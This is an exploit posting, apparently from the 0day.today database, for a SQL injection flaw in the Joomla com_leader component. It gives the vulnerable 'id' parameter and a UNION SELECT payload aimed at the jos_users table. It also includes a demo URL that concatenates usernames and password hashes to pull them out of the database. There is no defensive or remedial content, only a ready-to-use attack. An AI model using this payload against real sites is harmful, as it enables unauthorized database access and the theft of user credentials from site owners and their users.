Joomla Component com_leader SQL Injection Vulnerability

=======================================================
Joomla Component com_leader SQL Injection Vulnerability
=======================================================


[~]#########################################   ExploiT   #############################################[~]

[~] Vulnerable File :
  
http://127.0.0.1/index.php?option=com_leader&Itemid=3160&task=view&id=[SQL]
  
[~] ExploiT         :
  
-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11 FROM jos_users
  
[~] Example         :
  
http://127.0.0.1/index.php?option=com_leader&Itemid=3160&task=view&id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11 FROM jos_users
 
[~] Demo            :
 
http://server/index.php?option=com_leader&Itemid=3160&task=view&id=-498 UNION SELECT 1,concat(username,0x3a,password)pr0xyg33k,3,4,5,6,7,8,9,10,11 FROM jos_users




#  0day.today [2018-04-08]  #